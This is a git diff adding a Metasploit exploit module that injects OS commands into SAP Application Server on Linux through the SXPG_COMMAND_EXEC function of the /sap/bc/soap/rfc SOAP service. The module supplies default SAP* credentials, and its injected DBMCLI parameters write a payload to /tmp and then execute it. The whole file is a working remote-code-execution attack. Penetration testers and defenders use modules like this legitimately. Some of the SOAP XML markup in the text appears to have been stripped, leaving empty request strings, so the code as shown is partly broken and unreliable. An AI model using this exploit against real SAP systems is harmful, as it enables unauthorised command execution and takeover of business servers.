diff --git a/modules/exploits/linux/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb b/modules/exploits/linux/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb new file mode 100755 index 0000000000..be8449e520 --- /dev/null +++ b/modules/exploits/linux/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb @@ -0,0 +1,161 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +## +# This module is based on, inspired by, or is a port of a plugin available in +# the Onapsis Bizploit Opensource ERP Penetration Testing framework - +# http://www.onapsis.com/research-free-solutions.php. +# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts +# in producing the Metasploit modules and was happy to share his knowledge and +# experience - a very cool guy. +# +# The following guys from ERP-SCAN deserve credit for their contributions - +# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and +# Dmitry Evdokimov. +# +# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis +# who have Beta tested the modules and provided excellent feedback. Some people +# just seem to enjoy hacking SAP :) +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection', + 'Description' => %q{ + This module makes use of the SXPG_COMMAND_EXEC Remote Function Call, through the + use of the /sap/bc/soap/rfc SOAP service, to inject and execute OS commands. + SAP Note: 1341333 and 1764994. + }, + 'References' => + [ + [ 'URL', 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ], + [ 'URL', 'https://service.sap.com/sap/support/notes/1764994' ], + [ 'URL', 'https://service.sap.com/sap/support/notes/1341333' ] + ], + 'DisclosureDate' => 'May 8 2012', + 'Arch' => ARCH_CMD, + 'Compat' => + { + 'PayloadType' => 'cmd' + }, + 'Platform' => ['unix', 'linux'], + 'Targets' => + [ + ['SAP AS on Linux', {}] + ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'Author' => + [ + 'nmonkee' + ], + 'License' => MSF_LICENSE + ) + register_options( + [ + Opt::RPORT(8000), + OptString.new('CLIENT', [true, 'SAP Client', '001']), + OptString.new('USERNAME', [true, 'Username', 'SAP*']), + OptString.new('PASSWORD', [true, 'Password', '06071992']), + OptEnum.new('OS', [true, 'Target OS', "linux", ['linux']]), + ], self.class) + end + + def exploit + ip = rhost + payload_ = create_payload(1) + exec_command(ip,payload_) + payload_ = create_payload(2) + exec_command(ip,payload_) + end + + def create_payload(num) + command = "" + if datastore['OS'].downcase == "linux" + if num == 1 + command = "-o /tmp/pwned.txt -n pwnie" + "\n!" + tmp_ = payload.encoded.gsub(" ","\t") + tmp__ = tmp_.gsub("&","&") + command << tmp__.gsub("<","<") + command << "\n" + end + command = "-ic /tmp/pwned.txt" if num == 2 + end + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + command + ' ' + "\r\n" + data << 'DBMCLI' + "\r\n" + data << 'ANYOS' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + return data + end + + def exec_command(ip,data) + user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD']) + print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request") + begin + res = send_request_raw( + { + 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Length' => data.size.to_s, + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], + 'Authorization' => 'Basic ' + user_pass, + 'Content-Type' => 'text/xml; charset=UTF-8' + } + }, 45) + if res + if res.code != 500 and res.code != 200 + print_error("[SAP] #{ip}:#{rport} - something went wrong!") + return + elsif res.body =~ /faultstring/ + error = res.body.scan(%r{(.*?)}).flatten + 0.upto(error.length-1) do |i| + print_error("[SAP] #{ip}:#{rport} - error #{error[i]}") + end + return + end + output = res.body.scan(%r{([^<]+)}).flatten + result = [] + 0.upto(output.length-1) do |i| + if output[i] =~ /E[rR][rR]/ || output[i] =~ /---/ || output[i] =~ /for database \(/ + #nothing + elsif output[i] =~ /unknown host/ || output[i] =~ /; \(see/ || output[i] =~ /returned with/ + #nothing + elsif output[i] =~ /External program terminated with exit code/ + #nothing + else + temp = output[i].to_s.gsub(">",">") + temp_ = temp.gsub(""","\"") + temp__ = temp_.gsub("'","'") + result << temp__ + "\n" + end + end + return + else + print_error("[SAP] #{ip}:#{rport} - no response") + end + rescue ::Rex::ConnectionError + print_error("[SAP] #{ip}:#{rport} - Unable to connect") + return + end + end +end \ No newline at end of file